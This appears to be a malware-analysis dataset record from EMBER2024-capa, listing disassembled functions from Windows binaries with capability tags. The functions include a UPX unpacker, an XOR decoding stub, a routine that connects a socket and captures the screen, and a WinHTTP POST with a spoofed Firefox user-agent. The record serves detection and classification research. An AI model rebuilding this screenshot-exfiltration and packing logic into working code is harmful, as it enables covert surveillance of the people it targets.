joyce8/EMBER2024-capa huggingface dataset:
Function at 0x407f80
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x6000]
push edi
or ebp, 0xffffffff
jmp 0x407fa2
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x407fa9
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x407f98
mov eax, 1
add ebx, ebx
jne 0x407fbb
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x407fb0
jne 0x407fcc
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x407fb0
xor ecx, ecx
sub eax, 3
jb 0x407fe0
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x408052
mov ebp, eax
add ebx, ebx
jne 0x407feb
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x407ff8
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x40801c
inc ecx
add ebx, ebx
jne 0x408008
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x407ffd
jne 0x408019
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x407ffd
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x40803c
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x40802d
jmp 0x407f9e
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x40803c
add edi, ecx
jmp 0x407f9e
pop esi
mov edi, esi
mov ecx, 0x8f
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x40805a
cmp byte [edi], 0
jne 0x40805a
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x40805f
lea edi, [esi + 0x5000]
mov eax, dword [edi]
or eax, eax
je 0x4080d7
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x8d64]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x8ddc]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x40808c
mov ecx, edi
jns 0x4080bb
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x8de4]
or eax, eax
je 0x4080d1
mov dword [ebx], eax
add ebx, 4
jmp 0x4080a9
call dword [esi + 0x8de0]
mov ebp, dword [esi + 0x8de8]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x217]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x40810b
sub esp, 0xffffff80
jmp 0x402130

Function at 0x42e002
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
call 0x42e00c
nop
pop eax
nop
nop
nop
nop
nop
add eax, 0x403ac5
sub eax, 0x403a6b
nop
nop
nop
nop
mov ebx, dword [eax]
nop
mov ecx, dword [eax + 4]
nop
nop
nop
nop
nop
mov edx, dword [eax + 8]
nop
xor dword [ebx], edx
nop
nop
nop
nop
nop
add ebx, 4
nop
nop
nop
cmp ebx, ecx
nop
nop
nop
nop
nop
nop
nop
jl 0x42e030
nop
nop
nop
add eax, 0xc
cmp dword [eax], 0
nop
nop
nop
nop
nop
nop
nop
jne 0x42e01e
nop
nop
nop
nop
nop
popal
jmp loc.00401219
Function at 0x10004280
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub dword [ebp + 0xc], 1
jne 0x100042a9
push 0
push 0
push 0
push 0x10003590
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
test eax, eax
je 0x100042a9
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 1
pop ebp
ret 0xc

Function at 0x10005050
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1004c84d
mov eax, dword fs:[0]
push eax
sub esp, 8
push ebx
push esi
push edi
mov eax, dword [0x1005f080]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], ecx
lea eax, [ecx + 4]
mov dword [ecx], vtable.std::basic_streambuf_char__struct_std::char_traits_char__.0
lea ebx, [ecx + 0x24]
mov dword [ebp - 0x14], eax
lea edi, [ecx + 0x28]
mov dword [eax], 0
push 8
mov dword [ecx + 8], 0
mov dword [ecx + 0xc], 0
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0
mov dword [ecx + 0x18], 0
mov dword [ecx + 0x1c], 0
mov dword [ecx + 0x20], 0
mov dword [ebx], 0
mov dword [edi], 0
mov dword [ecx + 0x2c], 0
mov dword [ecx + 0x30], 0
call fcn.10028563
mov esi, eax
xorps xmm0, xmm0
movq qword [esi], xmm0
push 1
mov dword [ebp - 4], 0
call fcn.1000fdec
mov dword [esi + 4], eax
add esp, 8
mov eax, dword [ebp - 0x10]
lea edx, [eax + 8]
lea ecx, [eax + 0x14]
mov dword [eax + 0x34], esi
lea esi, [eax + 4]
mov dword [eax + 0xc], esi
mov esi, eax
mov dword [eax + 0x10], edx
mov dword [eax + 0x1c], ecx
lea eax, [esi + 0x18]
mov dword [esi + 0x20], eax
mov dword [esi + 0x2c], ebx
mov dword [esi + 0x30], edi
mov esi, dword [ebp - 0x14]
mov dword [edx], 0
mov dword [eax], 0
mov dword [edi], 0
mov dword [esi], 0
mov dword [ecx], 0
mov dword [ebx], 0
mov esi, dword [ebp + 8]
mov dword [ebp - 4], 1
mov ebx, dword [ebp - 0x10]
mov dword [ebp + 8], esi
mov dword [ebx], vtable.std::basic_stringbuf_char__struct_std::char_traits_char___class_std::allocator_char__.0
cmp dword [esi + 0x14], 0xf
jbe 0x10005170
mov eax, dword [esi]
mov dword [ebp + 8], eax
mov esi, dword [esi + 0x10]
mov eax, 2
cmp esi, 0x7fffffff
ja 0x100051ff
test esi, esi
je 0x100051df
cmp esi, 0x1000
jb 0x100051ab
lea eax, [esi + 0x23]
cmp eax, esi
jbe 0x10005204
push eax
call fcn.10028563
add esp, 4
test eax, eax
je 0x10005209
lea edi, [eax + 0x23]
and edi, 0xffffffe0
mov dword [edi - 4], eax
jmp 0x100051b6
push esi
call fcn.10028563
add esp, 4
mov edi, eax
push esi
push dword [ebp + 8]
push edi
call fcn.10029f20
mov eax, dword [ebx + 0xc]
lea ecx, [edi + esi]
mov dword [ebx + 0x38], ecx
add esp, 0xc
mov dword [eax], edi
mov eax, dword [ebx + 0x1c]
mov dword [eax], edi
mov eax, dword [ebx + 0x2c]
mov dword [eax], esi
mov eax, 3
jmp 0x100051e6
mov dword [ebx + 0x38], 0
mov dword [ebx + 0x3c], eax
mov eax, ebx
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
call fcn.1000f87d
call fcn.10001540
call fcn.1002d65f
int3
Function at 0x1000c0e0
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1004d03d
mov eax, dword fs:[0]
push eax
sub esp, 0x10
push ebx
push esi
push edi
mov eax, dword [0x1005f080]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, ecx
mov dword [ebp - 0x10], edi
mov eax, dword [edi]
mov eax, dword [eax + 4]
mov dword [edi + eax], vtable.std::basic_istream_wchar_t__struct_std::char_traits_wchar_t__.0
mov eax, dword [edi]
mov edx, dword [eax + 4]
lea eax, [edx - 0x18]
mov dword [edx + edi - 4], eax
mov eax, dword [edi]
mov dword [edi + 8], 0
mov dword [edi + 0xc], 0
mov esi, dword [eax + 4]
add esi, edi
mov ecx, esi
call fcn.10007070
mov eax, dword [ebp + 8]
mov dword [esi + 0x38], eax
mov eax, dword [esi + 0x30]
mov dword [esi + 0x3c], 0
mov ecx, dword [eax + 4]
mov dword [ebp - 0x18], ecx
mov eax, dword [ecx]
call dword [eax + 4]
lea eax, [ebp - 0x1c]
mov dword [ebp - 4], 1
push eax
call fcn.1000ca40
add esp, 4
mov ecx, eax
mov edx, dword [eax]
push 0x20
call dword [edx + 0x30]
mov byte [ebp - 4], 0
mov ecx, dword [ebp - 0x18]
movzx ebx, ax
test ecx, ecx
je 0x1000c197
mov eax, dword [ecx]
call dword [eax + 8]
test eax, eax
je 0x1000c197
mov edx, dword [eax]
mov ecx, eax
push 1
call dword [edx]
cmp dword [esi + 0x38], 0
mov word [esi + 0x40], bx
jne 0x1000c1b1
mov eax, dword [esi + 0xc]
mov ecx, esi
push 0
or eax, 4
push eax
call fcn.10006ff0
mov eax, edi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc

Function at 0x1000c580
Capabilities:
Access peb ldr_data
Get kernel32 base address

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1004cb30
mov eax, dword fs:[0]
push eax
push esi
push edi
mov eax, dword [0x1005f080]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, ecx
push 8
mov dword [edi], vtable.std::basic_streambuf_wchar_t__struct_std::char_traits_wchar_t__.0
mov dword [edi + 4], 0
mov dword [edi + 8], 0
mov dword [edi + 0xc], 0
mov dword [edi + 0x10], 0
mov dword [edi + 0x14], 0
mov dword [edi + 0x18], 0
mov dword [edi + 0x1c], 0
mov dword [edi + 0x20], 0
mov dword [edi + 0x24], 0
mov dword [edi + 0x28], 0
mov dword [edi + 0x2c], 0
mov dword [edi + 0x30], 0
call fcn.10028563
mov esi, eax
xorps xmm0, xmm0
movq qword [esi], xmm0
push 1
mov dword [ebp - 4], 0
call fcn.1000fdec
add esp, 8
mov dword [esi + 4], eax
mov ecx, edi
mov dword [edi + 0x34], esi
call fcn.1000c4f0
mov eax, edi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x1000dc80
Capabilities:
Initialize winhttp library
Prepare http request
Receive http response
Reference http user-agent string

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
movzx eax, word [ebp + 0x38]
push ebx
movzx ebx, word [ebp + 0x38]
push esi
push edi
mov dword [ebp - 0xc], ecx
mov edi, 0x800000
xor ecx, ecx
mov dword [ebp - 8], edx
push ecx
push ecx
push ecx
mov edx, 0x1bb
cmp ax, dx
push 1
push str.Mozilla_5.0__Windows_NT_6.1__Win64__x64__rv:108.0__Gecko_20100101_Firefox_108.0
cmovne edi, ecx
call dword [sym.imp.WINHTTP.dll_WinHttpOpen]
mov esi, eax
test esi, esi
jne 0x1000dccc
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov edi, eax
jmp 0x1000dd80
cmp dword [ebp + 0x1c], 7
lea eax, [ebp + 8]
push 0
cmova eax, dword [ebp + 8]
push ebx
push eax
push esi
call dword [sym.imp.WINHTTP.dll_WinHttpConnect]
mov ebx, eax
test ebx, ebx
jne 0x1000dcfc
push esi
call dword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov edi, eax
jmp 0x1000dd80
cmp dword [ebp + 0x34], 7
lea eax, [ebp + 0x20]
push edi
cmova eax, dword [ebp + 0x20]
push 0
push 0
push 0
push eax
push str.POST
push ebx
call dword [sym.imp.WINHTTP.dll_WinHttpOpenRequest]
mov dword [ebp - 4], eax
test eax, eax
jne 0x1000dd38
push esi
mov esi, dword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
call esi
push ebx
call esi
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov edi, eax
jmp 0x1000dd80
mov ecx, dword [ebp - 8]
push 0
push ecx
push ecx
push dword [ebp - 0xc]
push 0xffffffffffffffff
push str.Content_Type:_application_x_www_form_urlencoded_r_n
push eax
call dword [sym.imp.WINHTTP.dll_WinHttpSendRequest]
push 0
push dword [ebp - 4]
lea edi, [eax - 1]
neg edi
sbb edi, edi
and edi, 0xfffffffc
call dword [sym.imp.WINHTTP.dll_WinHttpReceiveResponse]
test eax, eax
mov ecx, 0xfffffffb
push esi
mov esi, dword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
cmove edi, ecx
call esi
push ebx
call esi
push dword [ebp - 4]
call esi
mov ecx, dword [ebp + 0x1c]
cmp ecx, 7
jbe 0x1000ddb6
mov edx, dword [ebp + 8]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x1000ddac
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1000de09
push ecx
push edx
call fcn.10028555
add esp, 8
mov ecx, dword [ebp + 0x34]
xor eax, eax
mov dword [ebp + 0x18], 0
mov dword [ebp + 0x1c], 7
mov word [ebp + 8], ax
cmp ecx, 7
jbe 0x1000de00
mov edx, dword [ebp + 0x20]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x1000ddf6
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1000de09
push ecx
push edx
call fcn.10028555
add esp, 8
mov eax, edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
call fcn.1002d65f
int3
Function at 0x1000f080
Capabilities:
Capture screenshot
Connect socket
Convert ip address from string
Initialize winsock library

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1004d360
mov eax, dword fs:[0]
push eax
sub esp, 0x1c8
mov eax, dword [0x1005f080]
xor eax, ebp
mov dword [ebp - 0x18], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], esp
mov edi, dword [ebp + 0x10]
xorps xmm0, xmm0
mov eax, dword [ebp + 0xc]
mov ebx, dword [ebp + 8]
mov dword [ebp - 0x1c8], eax
mov eax, 2
cmp dword [edi + 0x14], 0xf
mov word [ebp - 0x28], ax
mov eax, edi
mov dword [ebp - 0x1d0], ebx
movq qword [ebp - 0x26], xmm0
mov dword [ebp - 0x1e], 0
mov word [ebp - 0x1a], 0
jbe 0x1000f0ee
mov eax, dword [edi]
lea ecx, [ebp - 0x24]
push ecx
push eax
push 2
call dword [sym.imp.WS2_32.dll_inet_pton]
test eax, eax
je 0x1000f201
lea eax, [ebp - 0x1bc]
push eax
push 2
call dword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
jne 0x1000f201
push eax
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov esi, eax
mov dword [ebp - 0x1c4], esi
cmp esi, 0xffffffff
je 0x1000f201
mov dword [ebp - 4], 0
call fcn.1002e285
add edi, 0x18
mov dword [ebp - 0x1cc], eax
cmp dword [edi + 0x14], 0xf
jbe 0x1000f153
mov edi, dword [edi]
mov dword [eax], 0
lea eax, [ebp - 0x1c0]
push 0xa
push eax
push edi
call fcn.1002e0bf
add esp, 0xc
mov ecx, eax
cmp edi, dword [ebp - 0x1c0]
je 0x1000f276
mov eax, dword [ebp - 0x1cc]
cmp dword [eax], 0x22
je 0x1000f280
jmp 0x1000f19c
movzx eax, cx
push eax
mov dword [ebp - 4], 0xffffffff
call dword [sym.imp.WS2_32.dll_htons]
mov word [ebp - 0x26], ax
lea eax, [ebp - 0x28]
push 0x10
push eax
push esi
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
je 0x1000f1fa
push 0
call dword [sym.imp.GDI32.dll_CreateCompatibleDC]
push 0
mov edi, eax
call dword [sym.imp.USER32.dll_GetDC]
mov dword [ebp - 0x1c4], eax
test edi, edi
je 0x1000f1fa
push dword [ebp - 0x1c8]
push ebx
push eax
call dword [sym.imp.GDI32.dll_CreateCompatibleBitmap]
mov ebx, eax
test ebx, ebx
jne 0x1000f21f
push edi
call dword [sym.imp.GDI32.dll_DeleteDC]
push esi
call dword [sym.imp.WS2_32.dll_closesocket]
xor al, al
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x18]
xor ecx, ebp
call fcn.10028524
mov esp, ebp
pop ebp
ret
push ebx
push edi
call dword [sym.imp.GDI32.dll_SelectObject]
push 0xcc0020
push 0
push 0
push dword [ebp - 0x1c4]
push dword [ebp - 0x1c8]
push dword [ebp - 0x1d0]
push 0
push 0
push edi
call dword [sym.imp.GDI32.dll_BitBlt]
push esi
push ecx
mov ecx, ebx
call fcn.1000ee40
add esp, 8
test eax, eax
je 0x1000f227
push edi
call dword [sym.imp.GDI32.dll_DeleteDC]
push esi
call dword [sym.imp.WS2_32.dll_closesocket]
push ebx
call dword [sym.imp.GDI32.dll_DeleteObject]
mov al, 1
jmp 0x1000f203
push str.invalid_stoi_argument
call fcn.1000f89a
push str.stoi_argument_out_of_range
call fcn.1000f8da
int3
Function at 0x10019be2
Capabilities:
Encode data using xor
Hash data using fnv

Disassembly:
push ebp
mov ebp, esp
mov ecx, dword [ebp + 8]
xor edx, edx
push esi
mov esi, dword [ebp + 0xc]
cmp dword [ebp + 0x10], edx
jbe 0x10019c05
movzx eax, byte [esi + edx]
xor eax, ecx
imul ecx, eax, 0x1000193
inc edx
cmp edx, dword [ebp + 0x10]
jb 0x10019bf3
mov eax, ecx
pop esi
pop ebp
ret

Function at 0x1002800d
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
push ecx
call fcn.1003044e
mov eax, dword [eax + 0x14]
test eax, eax
je 0x10028050
and dword [ebp - 4], 0
lea ecx, [ebp - 4]
push 2
push ecx
push 0x22
push eax
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoEx]
movzx eax, word [ebp - 4]
sub eax, 0x30
je 0x10028050
sub eax, 1
je 0x1002804b
sub eax, 1
je 0x10028047
xor eax, eax
leave
ret
push 3
jmp 0x10028052
xor eax, eax
inc eax
leave
ret
push 2
pop eax
leave
ret

Function at 0x10038c3e
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x10038c7d
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x10038c7d
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x10038c7d
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x10038c7d
cmp dword [ecx + 0x74], 0xe
jbe 0x10038c7d
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret

Function at 0x1003c6cd
Capabilities:
Get file size

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
sub esp, 0x18
mov eax, dword [eax + 0xc]
nop
shr eax, 3
test al, 1
je 0x1003c6e7
mov al, 1
leave
ret
mov eax, dword [ebp + 8]
push ebx
push esi
mov eax, dword [eax + 0xc]
nop
test al, 0xc0
mov eax, dword [ebp + 8]
je 0x1003c6fe
mov ecx, dword [eax]
cmp ecx, dword [eax + 4]
je 0x1003c756
mov eax, dword [eax + 0x10]
nop
push eax
call fcn.10046715
mov esi, eax
pop ecx
cmp esi, 0xffffffff
je 0x1003c756
xor ebx, ebx
lea eax, [ebp - 0x10]
inc ebx
xorps xmm0, xmm0
push ebx
push eax
movlpd qword [ebp - 8], xmm0
push dword [ebp - 4]
push dword [ebp - 8]
push esi
call dword [sym.imp.KERNEL32.dll_SetFilePointerEx]
test eax, eax
je 0x1003c756
lea eax, [ebp - 0x18]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetFileSizeEx]
test eax, eax
je 0x1003c756
mov eax, dword [ebp - 0x10]
cmp eax, dword [ebp - 0x18]
jne 0x1003c750
mov eax, dword [ebp - 0xc]
cmp eax, dword [ebp - 0x14]
je 0x1003c752
xor bl, bl
mov al, bl
jmp 0x1003c758
xor al, al
pop esi
pop ebx
leave
ret
Function at 0x1003dca3
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov eax, 0x1020
call fcn.10029620
mov eax, dword [0x1005f080]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0x14]
push ebx
push dword [ebp + 8]
mov dword [ebp - 0x100c], eax
call fcn.1003bc51
pop ecx
mov ecx, dword [ebp + 8]
mov ebx, eax
cmp dword [ecx + 8], 0
jne 0x1003dce5
mov eax, dword [ebp + 0xc]
mov edx, dword [ebp + 0x10]
jmp 0x1003de5c
mov eax, dword [ecx]
sub eax, dword [ecx + 4]
push esi
push edi
push 0
cdq
push 2
push edx
push eax
call fcn.1004c080
push dword [ebp - 0x100c]
mov ecx, ebx
mov dword [ebp - 0x1008], eax
mov esi, ebx
mov dword [ebp - 0x1014], edx
and ecx, 0x3f
sar esi, 6
imul edi, ecx, 0x38
push 0
mov eax, dword [esi*4 + 0x100616d8]
push dword [edi + eax + 0x24]
push dword [edi + eax + 0x20]
push ebx
call fcn.1003d828
mov ecx, dword [esi*4 + 0x100616d8]
add esp, 0x14
mov dword [ebp - 0x1010], eax
mov eax, edx
mov edx, dword [ebp - 0x1010]
mov dword [ebp - 0x1020], eax
cmp edx, dword [edi + ecx + 0x20]
jne 0x1003de55
cmp eax, dword [edi + ecx + 0x24]
jne 0x1003de55
xor esi, esi
lea eax, [ebp - 0x101c]
push esi
push eax
push 0x1000
lea eax, [ebp - 0x1004]
push eax
push dword [edi + ecx + 0x18]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x1003de55
push dword [ebp - 0x100c]
push esi
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push ebx
call fcn.1003d828
add esp, 0x14
cmp edx, esi
jl 0x1003de55
jg 0x1003ddb0
cmp eax, esi
jb 0x1003de55
mov ebx, dword [ebp - 0x1014]
mov eax, dword [ebp - 0x101c]
cmp ebx, esi
jg 0x1003de55
jl 0x1003ddd2
cmp dword [ebp - 0x1008], eax
ja 0x1003de55
lea edi, [ebp - 0x1004]
xorps xmm0, xmm0
add edi, eax
movlpd qword [ebp - 0x1018], xmm0
lea ecx, [ebp - 0x1004]
cmp dword [ebp - 0x1008], esi
jne 0x1003ddf7
cmp ebx, esi
je 0x1003de3c
mov edx, dword [ebp - 0x1014]
mov esi, dword [ebp - 0x1018]
cmp ecx, edi
jae 0x1003de3c
mov al, byte [ecx]
cmp al, 0xd
jne 0x1003de1d
lea eax, [edi - 1]
cmp ecx, eax
jae 0x1003de29
cmp byte [ecx + 1], 0xa
jne 0x1003de29
inc ecx
jmp 0x1003de29
movzx eax, al
movsx eax, byte [eax + 0x1005f9e8]
add ecx, eax
add esi, 1
adc edx, 0
inc ecx
cmp esi, dword [ebp - 0x1008]
jne 0x1003de03
cmp edx, ebx
jne 0x1003de03
lea eax, [ebp - 0x1004]
sub ecx, eax
mov eax, ecx
cdq
add eax, dword [ebp - 0x1010]
adc edx, dword [ebp - 0x1020]
jmp 0x1003de5a
or edx, 0xffffffff
mov eax, edx
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop ebx
call fcn.10028524
leave
ret
Function at 0x10042f99
Capabilities:
Query environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov esi, eax
test esi, esi
je 0x10043036
push ebx
push esi
call fcn.10042f62
xor ebx, ebx
sub eax, esi
push ebx
push ebx
push ebx
push ebx
sar eax, 1
push eax
push esi
push ebx
push ebx
mov dword [ebp - 8], eax
call fcn.100416aa
add esp, 0x24
mov dword [ebp - 4], eax
test eax, eax
jne 0x10042fe3
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x10043035
push edi
push eax
call fcn.1003bc00
mov edi, eax
pop ecx
push ebx
test edi, edi
jne 0x10043003
call fcn.1003bbb0
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x10043034
push ebx
push dword [ebp - 4]
push edi
push dword [ebp - 8]
push esi
push ebx
push ebx
call fcn.100416aa
add esp, 0x20
test eax, eax
jne 0x10043022
push edi
call fcn.1003bbb0
jmp 0x1004302a
push ebx
call fcn.1003bbb0
mov ebx, edi
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov eax, ebx
pop edi
pop ebx
pop esi
leave
ret

Function at 0x10043039
Capabilities:
Query environment variable

Disassembly:
mov edi, edi
push esi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov esi, eax
test esi, esi
jne 0x1004304a
pop esi
ret
push ebx
push edi
push esi
call fcn.10042f62
mov ebx, eax
sub ebx, esi
and ebx, 0xfffffffe
push ebx
call fcn.1003bc00
mov edi, eax
pop ecx
pop ecx
test edi, edi
je 0x10043072
push ebx
push esi
push edi
call fcn.10029f20
add esp, 0xc
push 0
call fcn.1003bbb0
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov eax, edi
pop edi
pop ebx
pop esi
ret

Function at 0x10043441
Capabilities:
Set environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.10043087

Function at 0x1004568c
Capabilities:
Get geographical location

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push esi
push edi
call fcn.10039f3c
mov esi, dword [ebp + 8]
mov edi, eax
push 2
lea eax, [ebp - 4]
mov ecx, esi
push eax
and ecx, 0x3ff
push 0x20000001
or ecx, 0x400
push ecx
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
test eax, eax
je 0x100456fb
cmp esi, dword [ebp - 4]
je 0x100456f6
cmp dword [ebp + 0xc], 0
je 0x100456f6
mov esi, dword [edi + 0x50]
lea ecx, [esi + 2]
mov ax, word [esi]
add esi, 2
test ax, ax
jne 0x100456d3
push dword [edi + 0x50]
sub esi, ecx
sar esi, 1
call fcn.100451e1
pop ecx
xor ecx, ecx
cmp eax, esi
setne cl
mov eax, ecx
jmp 0x100456fd
xor eax, eax
inc eax
jmp 0x100456fd
xor eax, eax
pop edi
pop esi
leave
ret